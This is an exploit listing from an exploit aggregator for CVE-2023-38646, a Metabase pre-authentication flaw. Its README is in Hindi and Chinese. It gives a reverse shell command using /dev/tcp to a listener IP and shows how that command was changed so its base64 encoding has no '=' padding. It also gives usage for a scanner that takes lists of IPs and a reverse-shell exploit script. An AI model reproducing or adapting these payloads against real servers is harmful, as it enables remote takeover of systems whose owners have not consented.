Sploitus

Exploit for CVE-2023-38646

kitploit · 2026-08-28

Exploit Code

MARKDOWN45 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-YXL2001-CVE-2023-38646
# CVE-2023-38646

मूल स्क्रिप्ट securezeron से ली गई है।

परीक्षण के दौरान मैंने पाया कि इस POC द्वारा उत्पन्न रिवर्स शेल, base6 एन्कोडिंग के बाद अंत में '=' वर्ण के कारण विफल हो जाता है। मैंने इसे थोड़ा संशोधित करके इस समस्या को हल किया।

root@kitploit:~
    
    
    #原始的生成reverse shell负载的代码
    >>> base64.b64encode("bash -i >&/dev/tcp/10.10.14.59/8080 0>&1".encode()).decode()
    'YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjEwLjE0LjU5LzgwODAgMD4mMQ=='
    
    #修改后的生成reverse shell负载的代码没有‘=’
    >>> base64.b64encode("bash -i > &/dev/tcp/10.10.14.59/8080 0>&1 ".encode()).decode()
    'YmFzaCAtaSA+ICYvZGV2L3RjcC8xMC4xMC4xNC41OS84MDgwIDA+JjEg'
    

## उपयोग

root@kitploit:~
    
    
    └─# python CVE-2023-38646-POC.py -h                                                                           
    usage: CVE-2023-38646-POC.py [-h] [--ip IP] [--list LIST]
    
    Check setup token
    
    options:
      -h, --help   show this help message and exit
      --ip IP      IP address
      --list LIST  Filename containing list of IP addresses
                                                                                                                        
    
    └─# python CVE-2023-38646-Reverse-Shell.py -h                                                                 
    usage: CVE-2023-38646-Reverse-Shell.py [-h] [--rhost RHOST] [--lhost LHOST] [--lport LPORT]
    
    Check setup token
    
    options:
      -h, --help     show this help message and exit
      --rhost RHOST  Metabase server IP address (including http:// or https:// and port number if needed)
      --lhost LHOST  Listener IP address
      --lport LPORT  Listener port (default is 4444)